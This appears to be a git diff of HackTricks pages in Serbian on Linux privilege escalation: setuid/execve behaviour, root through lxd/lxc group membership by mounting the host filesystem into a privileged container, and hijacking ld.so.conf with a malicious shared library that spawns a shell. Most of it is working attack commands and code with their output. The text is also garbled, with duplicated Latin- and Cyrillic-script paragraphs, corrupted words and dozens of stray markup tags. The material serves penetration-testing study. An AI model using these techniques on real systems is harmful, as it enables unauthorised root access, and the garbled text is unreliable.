Da biste postavili suid dozvolu na izvršnu datoteku, koristite komandu `chmod u+s ime_datoteke`. Da biste uklonili suid dozvolu, koristite komandu `chmod u-s ime_datoteke`.
|
||||
|
||||
Važno je napomenuti da je suid dozvola potencijalna sigurnosna rupa. Ako se izvršna datoteka sa suid dozvolom može zloupotrebiti, napadač može dobiti privilegije vlasnika datoteke i izvršavati neovlaštene operacije.
|
||||
|
||||
Da biste pronašli izvršne datoteke sa suid dozvolom, možete koristiti komandu `find / -perm -4000 -type f 2>/dev/null`. Ova komanda će pretražiti sistem i prikazati sve izvršne datoteke sa suid dozvolom.
|
||||
|
||||
Kada pronađete izvršnu datoteku sa suid dozvolom, važno je pažljivo proveriti da li postoji bilo kakva sigurnosna rupa koja bi mogla biti iskorišćena. Ako pronađete takvu ranjivost, obavestite odgovorne strane kako bi se problem rešio.
|
||||
**Kompilacija i Dozvole:**
|
||||
```bash
|
||||
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
|
||||
```
|
||||
**Izvršenje i rezultat:**
|
||||
**Izvršenje i Rezultat:**
|
||||
```bash
|
||||
bash-4.2$ $ ./b
|
||||
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Analiza:**
|
||||
**Анализа:**
|
||||
|
||||
* `setreuid` postavlja i ruid i euid na 1000.
|
||||
* `system` poziva bash, koji održava identifikatore korisnika zbog njihove jednakosti, efektivno delujući kao frank.
|
||||
* `setreuid` поставља и ruid и euid на 1000.
|
||||
* `system` позива bash, који одржава корисничке ID-ове због њихове једнакости, ефективно функционишући као frank.
|
||||
|
||||
#### Slučaj 3: Korišćenje setuid sa execve
|
||||
Cilj: Istraživanje interakcije između setuid i execve.
|
||||
#### Случај 3: Користећи setuid са execve
|
||||
Циљ: Истраживање интеракције између setuid и execve.
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -158,16 +141,16 @@ execve("/usr/bin/id", NULL, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Izvršenje i rezultat:**
|
||||
**Izvršenje i Rezultat:**
|
||||
```bash
|
||||
bash-4.2$ $ ./c
|
||||
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Analiza:**
|
||||
|
||||
* `ruid` ostaje 99, ali `euid` je postavljen na 1000, u skladu sa efektom `setuid`-a.
|
||||
* `ruid` ostaje 99, ali je euid postavljen na 1000, u skladu sa efektom setuid-a.
|
||||
|
||||
**C Primer koda 2 (Pozivanje Bash-a):**
|
||||
**C Kod Primer 2 (Pozivanje Bashe):**
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -179,17 +162,17 @@ execve("/bin/bash", NULL, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Izvršenje i rezultat:**
|
||||
**Izvršenje i Rezultat:**
|
||||
```bash
|
||||
bash-4.2$ $ ./d
|
||||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Analiza:**
|
||||
**Анализа:**
|
||||
|
||||
* Iako je `euid` postavljen na 1000 pomoću `setuid`, `bash` resetuje euid na `ruid` (99) zbog odsustva opcije `-p`.
|
||||
* Иако је `euid` постављен на 1000 помоћу `setuid`, `bash` ресетује euid на `ruid` (99) због одсуства `-p`.
|
||||
|
||||
**C Primer Koda 3 (Korišćenje bash -p):**
|
||||
**C Код Пример 3 (Користећи bash -p):**
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -202,24 +185,27 @@ execve(paramList[0], paramList, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Izvršenje i rezultat:**
|
||||
**Izvršenje i Rezultat:**
|
||||
```bash
|
||||
bash-4.2$ $ ./e
|
||||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) euid=100
|
||||
```
|
||||
## Reference
|
||||
## References
|
||||
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,52 @@
|
|||
# lxd/lxc Grupa - Eskalacija privilegija
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root.
|
||||
Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root
|
||||
|
||||
## Eksploatacija bez interneta
|
||||
|
||||
### Metoda 1
|
||||
|
||||
Možete instalirati na vašem računaru ovaj alat za izgradnju distribucije: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
|
||||
Možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
|
||||
```bash
|
||||
sudo su
|
||||
#Install requirements
|
||||
|
@ -38,7 +64,7 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|||
#Create the container
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
```
|
||||
Postavite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
||||
Otpremite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
|
||||
|
@ -54,19 +80,19 @@ lxc list
|
|||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ako pronađete ovu grešku _**Greška: Nije pronađen skladišni prostor. Molimo kreirajte novi skladišni prostor**_\
|
||||
Pokrenite **`lxd init`** i **ponovite** prethodni blok komandi
|
||||
Ako pronađete ovu grešku _**Greška: Nema pronađenog skladišnog bazena. Molimo kreirajte novi skladišni bazen**_\
|
||||
Pokrenite **`lxd init`** i **ponovite** prethodni deo komandi
|
||||
{% endhint %}
|
||||
|
||||
Na kraju možete izvršiti kontejner i dobiti root pristup:
|
||||
Na kraju možete izvršiti kontejner i dobiti root:
|
||||
```bash
|
||||
lxc start privesc
|
||||
lxc exec privesc /bin/sh
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
### Metoda 2
|
||||
### Метод 2
|
||||
|
||||
Izgradite Alpine sliku i pokrenite je koristeći zastavicu `security.privileged=true`, prisiljavajući kontejner da interaguje kao root sa host fajl sistemom.
|
||||
Изградите Alpine слику и покрените је користећи флаг `security.privileged=true`, прин forcing контејнер да интерагује као root са хост фајл системом.
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
|
@ -86,37 +112,65 @@ lxc init myimage mycontainer -c security.privileged=true
|
|||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
|
||||
# interact with the container
|
||||
lxc start mycontainer
|
||||
lxc exec mycontainer /bin/sh
|
||||
```
|
||||
Alternativno [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
|
||||
|
||||
## Sa internetom
|
||||
|
||||
Možete pratiti [ove instrukcije](https://reboare.github.io/lxd/lxd-escape.html).
|
||||
```bash
|
||||
lxc init ubuntu:16.04 test -c security.privileged=true
|
||||
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
||||
lxc start test
|
||||
lxc exec test bash
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
## Reference
|
||||
|
||||
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
|
||||
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,35 @@
|
|||
# ld.so privesc exploit example
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Priprema okruženja
|
||||
## Pripremite okruženje
|
||||
|
||||
U sledećem odeljku možete pronaći kod datoteka koje ćemo koristiti za pripremu okruženja
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include "libcustom.h"
|
||||
|
@ -28,13 +40,17 @@ vuln_func();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="libcustom.h" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="libcustom.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -43,20 +59,17 @@ void vuln_func()
|
|||
puts("Hi");
|
||||
}
|
||||
```
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
1. **Napravite** te datoteke na vašem računaru u istom folderu
|
||||
2. **Kompajlirajte** biblioteku: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **Kopirajte** `libcustom.so` u `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privilegije)
|
||||
4. **Kompajlirajte** izvršnu datoteku: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
#### Proverite okruženje
|
||||
|
||||
Proverite da li se _libcustom.so_ **učitava** iz _/usr/lib_ i da li možete **izvršiti** binarnu datoteku.
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
1. **Kreirajte** te datoteke na vašem računaru u istom folderu
|
||||
2. **Kompajlirajte** **biblioteku**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **Kopirajte** `libcustom.so` u `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privilegije)
|
||||
4. **Kompajlirajte** **izvršnu** datoteku: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### Proverite okruženje
|
||||
|
||||
Proverite da li se _libcustom.so_ **učitava** iz _/usr/lib_ i da možete **izvršiti** binarnu datoteku.
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
|
@ -68,18 +81,14 @@ $ ./sharedvuln
|
|||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
## Exploit
|
||||
|
||||
## Eksploatacija
|
||||
|
||||
U ovom scenariju pretpostavljamo da je **neko kreirao ranjiv unos** unutar datoteke u _/etc/ld.so.conf/_:
|
||||
|
||||
U ovom scenariju pretpostavićemo da je **neko kreirao ranjivu stavku** unutar datoteke u _/etc/ld.so.conf/_:
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
|
||||
Ranjiva mapa je _/home/ubuntu/lib_ (gde imamo pristup za pisanje).\
|
||||
**Preuzmite i kompajlirajte** sledeći kod unutar tog puta:
|
||||
|
||||
Vulnerabilna fascikla je _/home/ubuntu/lib_ (gde imamo pravo pisanja).\
|
||||
**Preuzmite i kompajlirajte** sledeći kod unutar te putanje:
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
|
@ -94,11 +103,9 @@ printf("I'm the bad library\n");
|
|||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
Sada kada smo **napravili zlu libcustom biblioteku unutar pogrešno konfigurisane** putanje, treba da sačekamo na **ponovno pokretanje** ili da korisnik root izvrši **`ldconfig`** (_u slučaju da možete da izvršite ovu binarnu datoteku kao **sudo** ili ima **suid bit**, moći ćete da je izvršite sami_).
|
||||
|
||||
Sada kada smo **kreirali zlonamernu libcustom biblioteku unutar pogrešno konfigurisane** putanje, moramo sačekati **ponovno pokretanje** ili da korisnik sa privilegijama root-a izvrši **`ldconfig`** (_u slučaju da možete izvršiti ovu binarnu datoteku kao **sudo** ili ima **suid bit**, moći ćete je izvršiti sami_).
|
||||
|
||||
Kada se to dogodi, **ponovo proverite** odakle se `sharevuln` izvršna datoteka učitava iz biblioteke `libcustom.so`:
|
||||
|
||||
Kada se to dogodi, **ponovo proverite** odakle `sharevuln` izvršna datoteka učitava `libcustom.so` biblioteku:
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
|
@ -106,9 +113,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
|
||||
Kao što možete videti, **učitava se iz `/home/ubuntu/lib`** i ako ga bilo koji korisnik izvrši, izvršiće se shell:
|
||||
|
||||
Kao što možete videti, **učitava se iz `/home/ubuntu/lib`** i ako bilo koji korisnik to izvrši, izvršiće se shell:
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
|
@ -116,31 +121,27 @@ I'm the bad library
|
|||
$ whoami
|
||||
ubuntu
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Napomena da u ovom primeru nismo povećali privilegije, ali modifikovanjem izvršenih komandi i **čekanjem da korisnik sa privilegijama izvrši ranjivu binarnu datoteku** možemo povećati privilegije.
|
||||
Napomena da u ovom primeru nismo eskalirali privilegije, ali modifikovanjem izvršenih komandi i **čekanjem da root ili drugi privilegovani korisnik izvrši ranjivi binarni fajl** moći ćemo da eskaliramo privilegije.
|
||||
{% endhint %}
|
||||
|
||||
### Ostale loše konfiguracije - Ista ranjivost
|
||||
### Druge pogrešne konfiguracije - Ista ranjivost
|
||||
|
||||
U prethodnom primeru smo lažirali lošu konfiguraciju gde je administrator **postavio folder bez privilegija unutar konfiguracione datoteke unutar `/etc/ld.so.conf.d/`**.\
|
||||
Ali postoje i druge loše konfiguracije koje mogu izazvati istu ranjivost, ako imate **dozvole za pisanje** u nekoj **konfiguracionoj datoteci** unutar `/etc/ld.so.conf.d`, u folderu `/etc/ld.so.conf.d` ili u datoteci `/etc/ld.so.conf`, možete konfigurisati istu ranjivost i iskoristiti je.
|
||||
U prethodnom primeru smo simulirali pogrešnu konfiguraciju gde je administrator **postavio folder bez privilegija unutar konfiguracionog fajla unutar `/etc/ld.so.conf.d/`**.\
|
||||
Ali postoje i druge pogrešne konfiguracije koje mogu izazvati istu ranjivost, ako imate **dozvole za pisanje** u nekom **konfiguracionom fajlu** unutar `/etc/ld.so.conf.d`, u folderu `/etc/ld.so.conf.d` ili u fajlu `/etc/ld.so.conf` možete konfigurisati istu ranjivost i iskoristiti je.
|
||||
|
||||
## Eksploatacija 2
|
||||
|
||||
**Pretpostavimo da imate sudo privilegije nad `ldconfig`**.\
|
||||
Možete navesti `ldconfig` **odakle da učita konfiguracione datoteke**, tako da možemo iskoristiti to da `ldconfig` učita proizvoljne foldere.\
|
||||
Dakle, kreirajmo potrebne datoteke i foldere da bismo učitali "/tmp":
|
||||
|
||||
Možete naznačiti `ldconfig` **odakle da učita konf fajlove**, tako da možemo iskoristiti to da nateramo `ldconfig` da učita proizvoljne foldere.\
|
||||
Dakle, hajde da kreiramo potrebne fajlove i foldere za učitavanje "/tmp":
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
|
||||
Sada, kao što je naznačeno u **prethodnom eksploitu**, **kreirajte zlonamernu biblioteku unutar `/tmp`**.\
|
||||
I na kraju, učitajte putanju i proverite odakle se binarna datoteka učitava biblioteka:
|
||||
|
||||
Sada, kao što je naznačeno u **prethodnom eksploitu**, **napravite zlu biblioteku unutar `/tmp`**.\
|
||||
I konačno, učitajte putanju i proverite odakle se binarni fajl učitava biblioteku:
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
|
@ -150,29 +151,36 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
|
||||
**Kao što možete videti, imajući sudo privilegije nad `ldconfig`-om, možete iskoristiti istu ranjivost.**
|
||||
**Kao što možete videti, imajući sudo privilegije nad `ldconfig`, možete iskoristiti istu ranjivost.**
|
||||
|
||||
{% hint style="info" %}
|
||||
**Nisam pronašao** pouzdan način za iskorišćavanje ove ranjivosti ako je `ldconfig` konfigurisan sa **suid bitom**. Pojavljuje se sledeća greška: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
|
||||
{% endhint %}
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
|
||||
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
|
||||
* Dab mašina na HTB-u
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
